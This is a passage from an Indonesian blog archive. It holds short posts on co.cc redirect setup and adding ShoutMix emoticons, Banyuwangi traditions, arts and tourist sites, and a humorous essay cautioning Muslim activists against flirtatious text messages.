3. Isi alamat blog Anda yang akan diredirect (gambar 8 [delapan])

4. Klik “Set Up”.
5. Ada tulisan ” Your change has been submitted.” Klik “OK”.
6. Selesai (gambar 9).

Catatan:

Redirect atau URL forwarding adalah fungsi termudah dari domain co.cc. Fungsi-fungsi lain yang advanced (tindak lanjut) seperti integrasi dengan blogspot atau wordpress.com serta memakai hosting 000webhost.com akan ditulis pada posting tersendiri. InsyaAllah.
Membuat redirect / url forwarding bersifat sementara karena kalau tidak diset-up lebih dari 2 hari alamat yang kita buat akan di-cancel. Setelah itu, kita bisa merubahnya dengan setting advanced kalau sudah ada waktu.

Menambah Emoticon di Shoutbox

2010-03-26T11:24:00.000+07:00

Apa kamu bosan dengan emoticon yang ada di shoutbox kamu? Nha biar nggak bosan kamu bisa menambahkan sendiri icon-icon (emoticon) kesayangan kamu kedalam shoutbox blog kamu. Mau tahu caranya? begini nih cara nya...
Oh ya, trik yang ini hanya untuk yang menggunakan shoutbox dari shoutmix.

Ikuti langkah-langkah berikut ini :
1. Login ke shoutmix.com
2. Trus di daerah menu "Display", klik link "Smileys"
3. Nha nanti kamu akan menjumpai tampilan seperti ini :

4. Untuk manambahkannya masukkan alamt icon kamu kedalam kotak "Smile image URL", kalo kamu tidak punya iconnya atau alamatnya kamu bisa gunakan alamat icon2 dibawah ini.
5. Trus masukkan "kode" (shorcut) kedalam kotak disebelahnya trus klik tombol "ADD"
6. Lakukan terus seperti itu sampai semua icon smile yang kamu inginkan masuk dalam daftar.
7. Kalo sudah klik tombol "Save Setting"

Nha coba kamu lihat blog kamu, trus lihat dishoutboxnya maka kamu sudah punya tambahan emoticon dalm shoutbox kamu.

Berikut ini daftar emoticon beserta alamat URL-nya :

Icon	URL
	http://kendhin.890m.com/smile/senang.gif
	http://kendhin.890m.com/smile/yahoo_angry.gif
	http://kendhin.890m.com/smile/yahoo_bigsmile.gif
	http://kendhin.890m.com/smile/yahoo_blush.gif
	http://kendhin.890m.com/smile/yahoo_cry.gif
	http://kendhin.890m.com/smile/yahoo_devil.gif
	http://kendhin.890m.com/smile/yahoo_kiss.gif
	http://kendhin.890m.com/smile/yahoo_laughloud.gif
	http://kendhin.890m.com/smile/yahoo_love.gif
	http://kendhin.890m.com/smile/yahoo_wink.gif
	http://kendhin.890m.com/smile/yahoo_party.gif
	http://kendhin.890m.com/smile/yahoo_pray.gif
	http://kendhin.890m.com/smile/yahoo_rotfl.gif
	http://kendhin.890m.com/smile/yahoo_sad.gif
	http://kendhin.890m.com/smile/yahoo_sleep.gif
	http://kendhin.890m.com/smile/yahoo_smiley.gif
	http://kendhin.890m.com/smile/yahoo_sweating.gif
	http://kendhin.890m.com/smile/yahoo_think.gif
	http://kendhin.890m.com/smile/yahoo_tongue.gif
	http://kendhin.890m.com/smile/yahoo_witsend.gif

Oh ya lupa, maksimal icon smile yg dapat kita tambahkan adalah 10 biji, ini buat yg gratisan, kalo buat yg premium bisa nyampe 500 biji.

Tradisi Seblang Bakungan

2010-03-04T13:54:00.001+07:00

Seblang bakungan merupakan upacara penyucian desa. Upacara ini dilakukan satu malam, seminggu setelah hari raya Idul Adha. Tujuan dari upacara ini adalah menolak balak, yakni dengan mengadakan pertunjukan seblang di malam hari, setelah maghrib. Acara dibuka dengan parade oncor keliling desa (Ider bumi) yang diikuti oleh penduduk desa. Seblang ditarikan oleh seorang wanita tua di depan sanggar. Setelah diberi mantra – mantra ia menari dalam keadaan kesurupan. Lagu –lagunya ada 12 yang menceritakan tentang kehidupan, karamahan, lingkungan hidup,dsb.

Kegiatan berakhir tenganh malam setelah acara"Adol Kembang" ( jual bunga ). Para penonton kemudian berebut berbagai bibit tanaman yang dipajang di panggung dan mengambil kiling (baling-baling) yang di pasang di di sanggar. barang-barang yang diambil tersebut dapat di percaya dapat digunakan sebagai alat penolak balak.

Tempat: Desa Bakungan Kelurahan Bakungan

Tradisi Kebo - keboan Alasmalang

2010-03-04T13:53:00.003+07:00

Upacara tahunan yang terunik di pulau ini, berhubung dengan situs kesuburan, syukuran serta do'a kepada Tuhan agar para petani diberi keselamatan dan kesejahteraan serta mendapat panen yang melimpah di masa yang akan datang. Awalnya, upacara ini diadakan untuk memohon turunnya hujan saat kemarau panjang, dengan turunnya hujsn berarti bercocok tanam segera bisa dilaksanakan.

Tradisi Seblang Olehsari

2010-03-04T13:53:00.001+07:00

Seblang merupakan upacara bersih desa untuk menolak balak yang diwujudkan dengan mementaskan kesenian sacral yang disebut : “Seblang” yang berbau mistis.Seblang oleh sari ditarikan oleh wanita muda selam tujuh hari berturut – turut. Penari menari dalam keadaan kesurupan. Ia menari mengikuti gending atau lagu –lagu sebanyak 28 dan dinyanyikan oleh beberapa sinden.

Tradisi Petik Laut Lampon

2010-03-04T13:52:00.003+07:00

Petik laut lampon dilaksanakan pertama kali sekitar tahun 1927. Namun pelaksanaannya dalam skala kecil , karena pada tahun tersebut merupakan waktu dibukanya wilayah pesanggaran dengan surat ijin bestempel " cap singa ". Tradisi Petik laut lampon ini diteruskan hingga kini dan diadakan setiap tanggal 1 suro. Dalam upacara ini dilakukan tirakatan.
Pada awalnya tirakatan disertai mesu broto ( tidak makan, tidak minum, tidak merokok, dan tidak bicara ) seiring perkembangan jaman, tirakatan berupa doa bersama, meskipun cara lama juga dilakukan oleh orang orang tertentu. Maksud dan tujuan utama dari upacara ini adalah agar ( terutama ) nelayan dijauhkan dari musibah malapetaka, fitnah, serta diberikan ketentraman dan kemudahan dalam mencari rejeki atau dalam bahasa jawa sering diungkapkan : supoyo adoh bilahine, cepak rejekine, slamet sak sobo parane, guyub rukun bebrayane, gampang anggone luru sandang pangan, kalis saking sakabehe sambikolo.
Ungkapan syukur dilakukan dengan sesaji untuk penguasa laut selatan Mbok ratu Mas dan sebagainya. dalam setiap acara tradisi petik laut lampon, berbagai seni daerah dipentaskan, terutama pagelaran wayang kulit.

Tradisi Puter Kayun

2010-03-04T13:52:00.001+07:00

Puter Kayun merupakan tradisi masyarakat using yang melaksanakan keliling kota sampai ke pantai Watudodol pada lebaran Ketupat sebagai ungkapan syukur kepada Tuhan atas keselamatan dan kesejahteraan, rejeki yang diterima.
Dokar dapat dikatakan hampir punah di kota-kota besar separti Surabaya, Denpasar dan kota besar lainnya. Tapi di Banyuwangi atau tempat khusus separti di Kelurahan Boyolangu dan Pakis, dokar masih berupa alat transportasi yang penting dan menarik.
Dokar ditarik oleh seekor kuda dengan ornamen hiasan dan bunyi yang khas, denag dua roda, pengemudinya"kusir" didepan penumpang lainnya. Wisata bisa berkeliling kota dengan naik dokar, dan ini merupakan suatu perjalanan yang pasti tidak dapat terlupakan.

Tempat : Kelurahan Boyolangu, Kec. Giri

Tradisi Petik Laut Pancer

2010-03-04T13:50:00.004+07:00

Petik laut ini dilaksanakan sebagai ungkapan syukur ke hadirat Tuhan atas rahmat yang diberikan kepada para nelayan. Dalam perayaan ini berbagai seni budaya ditampilkan untuk memeriahkan pesta petik laut, diantaranya pelarungan perahu sesaji yang berisi kepala kambing, berbagai macam kue, buah-buahan, pancing dan anting emas, candu dan dua ekor ayam jantan yang masih hidup.

Tradisi Ngarah Jodang

2010-03-04T13:50:00.002+07:00

Ngarah Jodang dapat dikategorikan sebagai upacara tradisi dengan pelepasan sesaji di laut. Sebelumnya telur hias yang dihias ditancapkan pada Jodang (tempat Sesaji ) dan setelah diarak keliling kampung (Idher Bumi) kemudian secara beramai-ramai dilepas dilaut. Biasanya upacara adat ini dilakukan di bulan Maulud oleh masyarakat Blimbingsari.

Tradisi Gredoan

2010-03-04T13:49:00.004+07:00

Kesenian ini merupakan upacara yang dilaksanakan oleh masyarakat Using untuk memperingati hari lahir Nabi Muhammad SAW. Dalam kegiatan ini juga dipentaskan kesenian daerah. Mereka mengitari kampung atau desa sambil membawa obor dalam acara karnaval dimalam hari. Acara ini juga ajang untuk mencari jodoh.

Tradisi Rabu Wekasan

2010-03-04T13:49:00.002+07:00

Sebagian besar orang Banyuwangi merayakan Rabu Wekasan pada hari Rabu terakhir di Bulan Sapar. Hal ini erat hubungannya dengan kepercayaan bahwa pada hari itu adalah waktu yang penuh mara bahaya. Kemudian masyarakat mengunjungi tempat-tempat sunyi seperti pantai dan sumber mata air untuk merenung. Orang Banyuwangi biasanya mengunjungi pantai Cacalan dikelurahan Sukowidi, Kalipuro. Mereka pergi sambil membawa makanan untuk pesta. Namun bagi mereka yang tinggal jauh dari pantai, seperti daerah Kemiren, Kecamatan Glagah, mengadakan selamatan dimata air sungai agar mata air tersebut selalu mengalir selamanya.

Tradisi Barong Ider Bumi

2010-03-04T13:48:00.002+07:00

barong idher bumi merpakan kegiatan rutin masyarakat using di Desa kemiren setiap tahun pada hari ke-2 idul fitri. Dalam kegiatan ini di laksanakan arak-arakan barong dengan harapan agar tuhan memberikan keselamatan dan kesejahteraan. barong berbentuk topeng, sebagai penggambaran hewan yang menakutkan, dalam kemampuan untuk mengusir pengaruh jahat.

Kesenian Tradisional Damarwulan

2010-03-04T13:37:00.002+07:00

Pemberian nama Damarwulan pada kesenian ini diambil dari lakon yang biasa dipentaskan yaitu suatu cerita yang bersumber pada perlawanan antara Minakjinggo dan Damarwulan. Melihat ceritanya, maka jelas bahwa kesenian ini bersumber pada bentuk langendarian yang lahir di lingkungan Keraton Jogjakarta pada tahun 1876. Dimainkan oleh 40 - 50 orang dalam 4 grup.

Kesenian Angklung

2010-03-04T13:37:00.000+07:00

Angklung merupakan kesenian khas Banyuwangi. Kesenian ini dimainkan oleh 12 sampai 14 orang. Instrument musiknya terdiri dari Saron, Kendang dan Gong. Sebagian besar peralatan yang digunakan berasal dari bambu. Angklung memiliki beberapa macam, yaitu: Angklung Caruk, Angklung Tetak, Angklung Paglak, Angklung Dwilaras, dan Angklung Blambangan.

Kesenian Tradisional Damarwulan

2010-03-04T13:36:00.001+07:00

Kesenian Tradisional Kuntulan

2010-03-04T13:35:00.004+07:00

Kesenian kuntulan ini sering disebut terbang kuntul. Pada dasarnya sama dengan kesenian Bordah yaitu dengan instrument pokoknya adalah rebana namun kuntulan ini rebananya lebih banyak dan dilengkapi dengan kendang, kethuk, jedor/bedhuk dengan 3 macam ukuran, gong dan organ. Kuntulan dilakukan oleh 20-24 orang dalam 56 grup.

Kesenian Tradisional Mocoan Pacul Gowang

2010-03-04T13:35:00.001+07:00

Di lingkungan kehidupan masyarakat Blambangan terdapat semacam kebiasaa seni baca yang dikenal dengan istilah "Mocoan". Kesenian ini dimainkan oleh 7-8 orang dalah satu grup. diiringi dengan kendang, biola, gong dan kluncing. Semua teknik pelaksanaan seni baca ini sama dengan pelaksanaan Mocoan dalam bentuk aslinya, yaitu membaca dengan menggunakan irama lagu mocopat seperti Kasmaran, Arum-arum, Derma, Pangkur, Sinom, dan sebagainya dengan dilakukan menurut versi Blambangan.

Pemandian Atalanta

2010-03-04T13:28:00.001+07:00

Atalanta merupakan tempat rekreasi keluarga berupa tempat pemandian yang terletak di kota Genteng. Selain tempat pemandian, juga terdapat kolam pancing dan arena mainan untuk anak-anak. Atalanta ramai dikunjungi oleh wisatawan umumnya masyarakat sekitar pada hari libur. Tket masuk yang murah menjadikan tempat ini menjadi primadona untuk berlibur.

Agrowisata Kendeng Lembu

2010-03-04T13:27:00.003+07:00

Kendeng Lembu terletak di Kecamatan Glenmore. Jaraknya kira-kira 60 km dari Banyuwangi. Kopi, coklat dan Karet diproduksi disini. Pemandangannya indah berhawa sejuk dan segar alami.

Kendeng lembu Agrotourism object

Kendeng Lembu is located in Sub District Glenmore. Coffee, cacao and rubber are produced here. it is 60 km from Banyuwangi city. The view is beautiful gives a fresh uinspoiled air.

Desa Wisata Osing Kemiren

2010-03-04T13:27:00.001+07:00

Taman Rekreasi Desa Wisata Using (TRDWU) ini terletak di desa Kemiren, Kecamatan Glagah, 8 km dari Banyuwangi. Hampir semua penduduknya adalah asli suku Using (asli Banyuwangi) yang menggunakan bahasa Using. Taman Rekreasi ini dilengkapi dengan kolam renang, tempat bermain anak, restaurant, panggung kesenian dan cottage dengan gaya rumah Using untuk menginap.

Pemandian Taman Suruh

2010-03-04T13:26:00.003+07:00

Taman Rekreasi dan kolam renang Taman Suruh terletak di jalan Kalibendo, Wonosari,Glagah, Banyuwangi. Cuacanya sejuk dan menyenangkan. Kolam renang untuk anak-anak maupun dewasa tersedia disini. Di samping itu, arena bermain anak, ruang pertemuan dan wisata agro, kolam pancing, jogging track, cafe dan tempat parkir yang luas disediakan untuk para pengunjung agar merasa nyaman.

Alam Indah Lestari

2010-03-04T13:26:00.001+07:00

Alam Indah Lestari merupakan salah satu objek wisata keluarga yang bernuansa Agrowisata. Dengan harga yang terjangkau, keluarga akan terhibur dengan fasilitas yang disediakan oleh Alam Indah Lestari. Fasilitas tersebut antara lain : water boom, kebun jeruk, karaoke, penginapan dan lain sebagainya. Untuk mencapai tempat ini cukup mudah. Dapat dengan kendaraan umum atau kendaraan pribadi. Dari kantor Kecamatan Kabat ke arah selatan akan terlihat plang Taman Wisata AIL belok ke kiri sekitar 2 km.

Mirah Fantasi

2010-03-04T13:25:00.001+07:00

Taman Rekreasi laut di tepi pantai berada di Jl. Karimun Jawa dalam kota Banyuwangi,menghadap selat Bali, di atas hamparan rimbunnya pohon mangrove dengan desiran angin pantai dipadu dengan suara burung berkicau ,membuat tempat ini cocok dan ideal untuk rekreasi seluruh keluarga.
Tempat rekreasi ini dilengkapi dengan sarana atraksi laut berkelas dunia yang menantang seperti parasailing (naik parasut ditarik speedboat), banana boat (perahu karet berbentuk pisang),jet sky ,menyelam serta melihat keindahan taman laut menggunakan glass bottom boat,disamping itu ada "tree top" sebagai olahraga ,sesuai bagi yang senang tantangan.

bagi pecinta burung ,Mirah Fantasia dilengkapi dengan koleksi burung-burung langka dan menarik dari seluruh dunia, di samping ada sarana tempat bermain anak-anak, water boom,kolam renang, toko cinderamata,kedai makan serta fasilitas umum lainnya

Pemandian Umbulpule Glenmore

2010-03-04T13:24:00.001+07:00

Umbul Pule terletak di Desa Sumbergondo, Kec. Glenmore. Tempat wisata ini terletak kira-kira 10 Km ke arah utara kota Genteng. Alam pedesaan Sumbergondo masih asri. Sawah, gunung dan hutan adalah pemandangan sehari-hari. Udaranya sejuk, dan pemandangannya indah di lereng Gunung Raung. Umbul Pule merupakan Kolam renang alam. Sumber air yang jernih keluar dari bumi yang bisa langsung di minum mengalir ke sebuah pemandian, para pengunjung dapat berenang di kolam renang yang bersih dan airnya segar. dikelilingi hijaunya tumbuhan selada air.tempat ini dilengkapi dengan bumi perkemahan dan mainan anak-anak.

Kegombalan di Kalangan Aktivis Dakwah

2010-03-04T13:23:00.002+07:00

Hal yang sangat menarik salah satunya adalah menyimak romantika di
dunia aktivis dakwah. Di antara sebegitu banyak yang memiliki komitmen perjuangan, ada juga beberapa yang suatu saat kadang tergelincir pada jebakan interaksi ikhwan-akhwat. Karena memiliki amanah yang sama, sesama pengurus harian lembaga, atau berada dalam satu bidang, bisa juga dalam satu kepanitiaan, membuat interaksi kerja menjadi lebih intens.

Intensitas hubungan kerja itu suatu saat dapat menumbuhkan benih-benih simpati atau bahkan cinta di antara ikhwan dan akhwat. Hal ini bisa jadi fenomena yang wajar, karena cinta kepada lawan jenis itu fitrah manusia, katanya. Tapi meski fitrah, tetap aja ada resikonya, terutama pada keikhlasan beramal, sehingga bila ada bibit riya’ dan ujub bisa menghanguskan pahala yang seharusnya didapat. Namun jika ternyata tidak dapat mencegah adanya perasaan seperti itu, ya harus berusaha menjaga keikhlasan, dan tetap simpati (simpan dalam hati). Apabila perasaan itu telah mewujud pada realisasi amal, baik lisan maupun perbuatan, maka tak ayal akan terjadi juga gombalisasi di sini.

Sering seseorang ingin mengekspresikan atau menyampaikan perasaannya yang sedang membuncah karena cinta. Bagi aktivis dakwah, hal seperti ini mustinya disimpan rapat-rapat dalam lubuk hatinya, jangan sampai si “dia” memergoki adanya perasaan itu. Gengsi dong!! Namun suatu saat pertahanan itu bisa jebol manakala perasaan itu makin menjadi-jadi sedang keimanan dalam kondisi menurun. Maka lahirlah sebentuk perhatian pada si “dia”, baik berupa nasehat, tausiyah, pujian, menanyakan sesuatu (baik tanya beneran atau pun pura-pura bertanya hayoo…) atau sekadar menanyakan kabar. Entah itu lewat SMS, telpon, saat chatting, via e-mail … bisa juga dalam rapat koordinasi.

Dari pengamatan, yang paling banyak terjadi adalah adanya gombalisme via SMS, kita sebut saja sebagai SMS gombal. Kita simak contoh SMS-SMS ini….
“Aslm. Apa kbr? Ukhti, ana sungguh kagum dgn semangat anti. Amanah anti di mana-mana namun semuanya bisa tetap tawazun. Anti benar-benar mujahidah tangguh. Tetep semangat ya Ukhti!”

“Salut sama Ukhti! Anti sungguh militan. Hujan deras seperti itu datang rapat dgn jalan kaki. Jaga kesehatan ya. Ana nggak rela klo Anti sampai jatuh sakit…”

Akhwat: “Aww. Apa kabar? Akhi, sedang ngapain nih? Sudah makan belum? Jangan sampai lupa makan ya..”
Ikhwan: “Www. Alhamdulillaah, menjadi jauh lebih baik setelah Anti SMS ^_^. Ane sedang memikirkan seorang bidadari dunia yang begitu anggun mempesona. Hmm… ane belum makan, tapi dah gak terasa lapar klo ingat sama Anti…”
(Halah… gombal semua tuh!!!)

Ada yang lebih parah nih … kayak gini:
“Aww. Wah .. Anti makin terlihat anggun dengan jilbab biru tadi…”

“Assalaamu ‘alaikum. Apa kbr? Lama nggak kontak ya. Ane kangen ma suara Anti…”

“ … Ane janji akan menikahi Anti setelah lulus nanti ….”

Oh .. NOOOOOOOOOOOO!! Aneh-aneh aja isi SMS-nya. Mungkin lebih banyak lagi SMS-SMS aneh lainnya yang belum terdeteksi. Hmm.. bagaimana reaksi si penerima? Ya bervariasi, ada yang cuek saja, ada yang merasa risih, ada yang membalas biasa, ada yang bertanya-tanya bin penasaran, ada juga yang suka dan berbunga-bunga, ada yang kemudian menaruh harapan. Kita simak penggalan berikut…

Pada dini hari sekitar pukul dua pagi, suara berisik nada SMS membangunkan seorang akhwat dari perjalanan tidurnya. SMS dari siapa nih malam-malam gini, pikirnya. Serta merta dia buka SMS-nya, hah… dari seorang ikhwan, bunyinya:
”Wahai Ukhty, segera terjagalah dari mimpi indahmu, bangunlah dari peraduanmu, basuhlah wajah dan anggota tubuhmu agar bersinar di hari kemudian, bersujud dan bersimpuhlah kepada Allah, agungkanlah Asma-Nya. Niscaya Allah akan meridhoi langkah kita dan mengabulkan cita dan harapan kita.”

Sang akhwat tertegun, ngapain malam-malam begini si ikhwan itu ngirim SMS, kurang kerjaan aja. Dasar, sok perhatian! Namun tanpa sadar jari-jari lentik akhwat itu mengetik balasan:
“Jazakallah khairan, Akh. Jangan kapok tuk sering ngingetin ane ya…”
Nah lo!!

Coba dirasa-rasakan, apa SMS-SMS semacam itu tidak beresiko? Bagus sih sepertinya, membangunkan untuk sholat tahajud … tapi efek sampingnya bisa menimbulkan penyakit-penyakit hati. Bikin merajalelanya VMJ (Virus Merah Jambu). Waa.. kalau virus yang satu ini menyebar, bisa repot. Sulit nyari vaksin atau anti virusnya.

Makanya… ingat, penyebab awal perlu dicegah, yakni adanya gombalisasi. Kalau si gombal dah nyebar, maka sedikit banyak korban bisa berjatuhan. Baik ‘lecet-lecet’ ringan maupun ‘luka’ berat. Bahkan nanti gak hanya berdampak pada hati, tapi juga fisik. Lha bayangin aja … kalau jadi gak enak makan, gak nyaman tidur karena tiap mau makan .. ingat dia, mau tidur … ingat dia, mau ngapain aja ingat dia, apa gak lama-kalamaan bisa kurus tuh? Trus …siapa korbannya? Siapa lagi kalau bukan kaum wanita/akhawat. Mestinya paham dong gimana fitrah perasaan mereka. Mereka seneng dan suka bila diberi perhatian … bisa berbunga-bunga hatinya. Dan tipe cinta mereka (kebanyakan) adalah jatuh cinta sekali yang dibawa sampai mati, kayak Nurul dalam novel AAC itu loh… Trus mereka juga mudah berharap. Nah tuh … coba pikir kalau sampai mereka jatuh cinta, kemudian sampai berharap. Jika kemudian cinta dan harap itu tidak kesampaian, apa nggak sakiiiit banget nanti? Apa tega, mendholimi mereka seperti itu?

So, khususnya bagi para ikhwan, jaga diri, jaga hati, jaga gengsi. Jangan asal kirim SMS, lebih-lebih SMS gombal bin murahan. Juga .. jangan asal balas SMS, apalagi dengan SMS gombal. Ini nih contoh balasan yang ngegombal….
Akhwat : “Ane pengin rihlah, ke syurga …”
Ikhwan : “Ukhty, ke mana pun Anti mau pergi, saya akan bersedia menemani, meski taruhannya jiwa ini …” (He..he..he.. peace Ukhti ^_^ )
Nah!! Dasar gombal! Jaga gengsi dong. Ini nih…. Barisan kata berikut mungkin bisa menggambarkan ikhwan yang nggak mau nggombal.

Karena Aku Mencintaimu
Wahai Ukhty…
Karena aku mencintaimu, maka aku ingin menjagamu
Karena aku mencintaimu, aku tak ingin terlalu dekat denganmu
Karena aku mencintaimu, aku tak ingin menyakitimu

Karena cintaku padamu,
Tak akan kubiarkan cermin hatimu menjadi buram
Tak akan kubiarkan telaga jiwamu menjadi keruh
Tak akan kubiarkan perisai qolbumu menjadi retak, bahkan pecah

Karena cinta ini,
Ku tak ingin mengusik ketentraman batinmu,
Ku tak ingin mempesonamu,
Ku tak ingin membuatmu simpati dan kagum,
Atau pun menaruh harap padaku.

Maka biarlah…
Aku bersikap tegas padamu,
Biarlah aku seolah acuh tak memperhatikanmu,
Biarkan aku bersikap dingin,
Tidak mengapa kau tidak menyukai aku,
Bahkan membenciku sekali pun, tidak masalah bagiku….

Semua itu karena aku mencintaimu,
Demi keselamatanmu,
Demi kemuliaanmu.

So, sekali lagi bagi para ikhwan, jangan jualan gombal, jangan obral janji. Gak usah deh sok perhatian, terlebih lagu bilang suka atau cinta. Bisa fatal tuh akibatnya! Mau jadi orang dholim?? Tegaskan semenjak sekarang, hal seperti itu tabu kalau belum nikah. Kalau dah nikah sih … puas-puasin aja bilang cinta seratus kali sehari ama istrinya. Sampai dhower deh, terserah! ^_^

Bagi para akhwat, hati-hati binti waspada Ukh … jangan mudah digombali. Jangan percaya dengan kata-kata suka, cinta atau janji-janji. Jangan mudah menambatkan hati, jangan mudah berharap. Stay cool, calm, confident. Perisai izzahmu harus tetap kokoh. Antunna tidak suka terombang-ambing kan? Antunna lebih suka pada kepastian kan? Makanya jangan sampai semua itu terjadi sebelum ada hal yang konkrit, sebelum ada kepastian. Hal konkrit itu adalah, si ikhwan mengkhitbah Antunna dengan datang ke orang tua Antunna. Itu … baru deh, oke. Waspadalah …waspadalah …

SO SEMUANYA …. WASPADAI ARUS GOMBALISASI!!!

Kali Bendo

2010-03-04T13:08:00.003+07:00

Agrowisata Kalibendo terletak kira-kira 25 km dari Banyuwangi. tepat pada jalur perjalanan ke atau dari Gunung Ijen Agro Wisata ini terletak di dataran tinggi, Pemandangannya adalah perkebunan yang khas. karet, kopi dan cengkeh diproduksi di sini. Udaranya enak dan sejuk. Para pengunjung bisa melihat bangunan tua bekas kantor kerja Belanda.

Pelabuhan Boom

2010-03-04T13:08:00.001+07:00

Pelabuhan Boom Merupakan Pelabuhan tradisional yang terletak di sebelah timur kota Banyuwangi, Pelabuhan ini merupakan pelabuhan tua yang telah beroperasi sejak 300 tahun yang lalu sebagai tempat bongkar muat bagi kapal-kapal dari daerah lain. selain itu di kawasan pelabuhan Boom ini terdapat juga pantai yang banyak dikunjungi oleh warga. Pelabuhan ini masuk wilayah administrasi Kelurahan kampung Mandar Kecamatan Banyuwangi.

Pantai Pancer

2010-03-04T13:07:00.001+07:00

Pantai Pancer terletak di pantai Pulau Jawa sebelah selatan tepatnya di kecamatan Pesanggaran, ujung barat daya Kabupaten Banyuwangi. Pemandangannya indah. Kebanyakan dari penduduknya adalah nelayan. Berbagai jenis ikan laut dijual di sini, terutama di pagi hari. Dari terminal Jajag sampai Pancer butuh kurang lebih 1 jam perjalanan dengan kendaraan umum.

Pantai lampon

2010-03-04T13:06:00.003+07:00

Pantai lampon berada di wilayah administrasi Kecamatan Pesanggaran, Pantai Lampon pun tidak jauh dari obyek wisata pulau merah. Pantai yang landai dengan ombak yang halus, serta terdapat ornamen alam dikejauhan berupa batu-batu karang dengan sesekali ombak pecah saat menerjangnya merupakan pemandangan unik tersendiri di wisata alam ini.

Sadengan

2010-03-04T13:06:00.001+07:00

Sadengan adalah savana tempat binatang-binatang liar berkumpul, sadengan termasuk wilayah Taman Nasional alas purwo yang terletak di ujung selatan Kabupaten Banyuwangi.Para pengunjung dapat melihat binatang-binatang liar seperti banteng, menjangan, babi hutan, burung merak, unggas hutan dan beraneka ragam burung. Para pengunjung dapat melihat-lihat binatang-binatang liar tersebut melalui tower pengintai.

Rowo Bayu

2010-03-04T13:05:00.004+07:00

Rowo Bayu adalah semacam kolam alami yang luas. Letaknya jauh dari keramaian, sehingga sangat cocok untuk rekreasi keluarga maupun untuk para pecinta alam. Pinus adalah tanaman khas dari hutan ini. Rowo bayu terletak di kawasan hutan petak 8, kawasan hutan Songgon, bagian dari kesatuan Pemangku hutan Rogojampi, KPH Banyuwangi Barat. Secara administratif, wilayah ini berada di desa Bayu, Kecamatan Songgon. Para pengunjung bisa mencapai tempat ini dengan kendaraan umum maupun kendaraan pribadi.

Air Terjun Selogiri

2010-03-04T13:05:00.002+07:00

Keindahan air terjun Selogiri terletak pada tempatnya yang alami. Air mengucur dari atas tebing diantara pepohonan yang rimbun, seolah para pengunjung berada di kanopi dengan air terjun di dekatnya. Air terjun Selogiri terletak kira-kira 13 km ke arah utara kota Banyuwangi. kawasan wisata ini masuk wilayah administrasi Kecamatan Kalipuro.

Teluk hijau

2010-03-04T13:04:00.003+07:00

Teluk hijau berada di kecamatan Pesanggaran. Jarak teluk hijau dan Rajegwesi kira-kira 2 km. Pemandangan yang indah dan alami dapat dilihat sepanjang mata memandang. Udara segar dari pantai yang dipadu dengan udara dari hutan hujan tropis Taman Nasional Meru Betiri sangat mengesankan. Pemandangan dari atas bukit di samping teluk sungguh mengagumkan.